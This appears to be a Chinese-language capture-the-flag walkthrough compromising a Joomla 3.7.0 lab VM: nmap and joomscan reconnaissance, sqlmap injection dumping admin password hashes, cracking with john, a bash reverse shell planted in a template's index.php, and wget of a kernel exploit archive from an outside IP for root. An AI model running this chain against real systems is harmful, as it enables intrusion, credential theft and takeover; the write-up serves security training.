先利用nmap -A IP 收集信息
─# nmap -A 192.168.232.129
Starting Nmap 7.92 ( Nmap: the Network Mapper - Free Security Scanner ) at 2021-12-21 21:22 CST
Nmap scan report for 192.168.232.129
Host is up (0.00021s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:70:41:FB (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.21 ms 192.168.232.129
OS and Service detection performed. Please report any incorrect results at Nmap OS/Service Fingerprint and Correction Submission Page .
Nmap done: 1 IP address (1 host up) scanned in 10.34 seconds
可知网站只开放了80端口 Apache搭建 2.4.18 版本 且建站程序为Joomla
再次利用Joomla Scan收集更多信息
joomscan -u 192.168.232.129
获取到版本号为3.7.0
后台地址为 http://192.168.232.129/administrator/
使用命令searchsploit Joomla 3.7.0查找是否有exp
发现对应的cms版本有一个sql注入漏洞 查看42033.txt文档,得到具体利用方法
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
根据看到的注入漏洞说明,使用命令:
sqlmap -u "http://192.168.232.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -v 3 得到库名
顺利通过注入,得到数据库中的表
利用工具爆表
sqlmap -u "http://192.168.232.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
发现user表,然后爆字段
sqlmap -u "http://192.168.232.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
爆字段数据
sqlmap -u "http://192.168.232.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
执行
sqlmap -u "http://192.168.232.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' --dump -p list[fullordering]
得到用户名密码
admin $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
利用john hash解密密码
先创建一个文件夹 touch 文件夹名字 vi123进行编辑 密文扔进去 esc :wq保存
直接跑脚本 John 123
得到密码为 snoopy
登录后台
成功登录
进入后台后,选择Templates模板,选择templates第一个模板即可,在index.php页面中添加php反弹马再利用nc连接
system("bash -c 'bash -i >& /dev/tcp/192.168.232.128/2333 0>&1'");
?>
设置好NC监听端口为2333 同上面端口必须一致 访问index.php
扫描该版本提权 exp
发现有个39772可以利用
在靶机命令终端执行
cd /tmp //切换到有权限的目录
wget http://47.108.206.74/39772.zip //下载漏洞文件
unzip 39772.zip //解压
cd 39772
tar -xvf exploit.tar //解压exp
cd ebpf_mapfd_doubleput_exploit
./compile.sh //开始编译
./doubleput //运行脚本 拿到权限